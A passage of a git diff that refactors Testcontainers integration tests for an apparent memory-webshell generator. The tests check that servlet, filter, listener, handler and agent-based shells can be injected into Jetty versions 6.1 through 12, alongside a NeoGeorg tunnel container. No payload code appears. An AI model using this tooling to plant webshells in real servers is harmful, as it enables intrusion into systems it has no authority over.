ShellType.JAKARTA_HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.Base64)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_HANDLER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta - ); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_HANDLER}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java index 0e89d877..30d4e905 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java @@ -1,88 +1,53 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty61ContainerTest { - public static final String imageName = "reajason/jetty:6.1-jdk6"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jetty61ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:6.1-jdk6") + .warDeployPath("/usr/local/jetty/webapps/app.war") + .serverVersion("6") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "6", shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "6", shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java index 409c6f0e..b4a7a913 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java @@ -1,88 +1,53 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty75ContainerTest { - public static final String imageName = "reajason/jetty:7.5.4-jdk6"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jetty75ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:7.5.4-jdk6") + .warDeployPath("/usr/local/jetty/webapps/app.war") + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info("logs: {}", logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty,"7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java index ffe45914..91dd15e0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java @@ -1,87 +1,53 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty76ContainerTest { - public static final String imageName = "reajason/jetty:7.6-jdk6"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jetty76ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:7.6-jdk6") + .warDeployPath("/usr/local/jetty/webapps/app.war") + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java index 6a60ebab..57f4caa1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java @@ -1,88 +1,53 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty81ContainerTest { - public static final String imageName = "reajason/jetty:8.1-jdk7"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jetty81ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:8.1-jdk7") + .warDeployPath("/usr/local/jetty/webapps/app.war") + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info("logs: {}", logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java index 12c16a7c..7654e231 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java @@ -1,91 +1,54 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty92ContainerTest { - - public static final String imageName = "jetty:9.2-jre7"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jetty92ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("jetty:9.2-jre7") + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.CUSTOMIZER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.CUSTOMIZER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java index 670aead6..0d693d76 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java @@ -1,90 +1,54 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty93ContainerTest { - public static final String imageName = "reajason/jetty:9.3"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jetty93ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:9.3") + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.CUSTOMIZER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.CUSTOMIZER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java index e26391c8..c225a950 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java @@ -1,90 +1,54 @@ package com.reajason.javaweb.integration.memshell.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty94ContainerTest { - public static final String imageName = "jetty:9.4-jre8"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Jetty94ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("jetty:9.4-jre8") + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, + ShellType.JETTY_AGENT_HANDLER + )) + 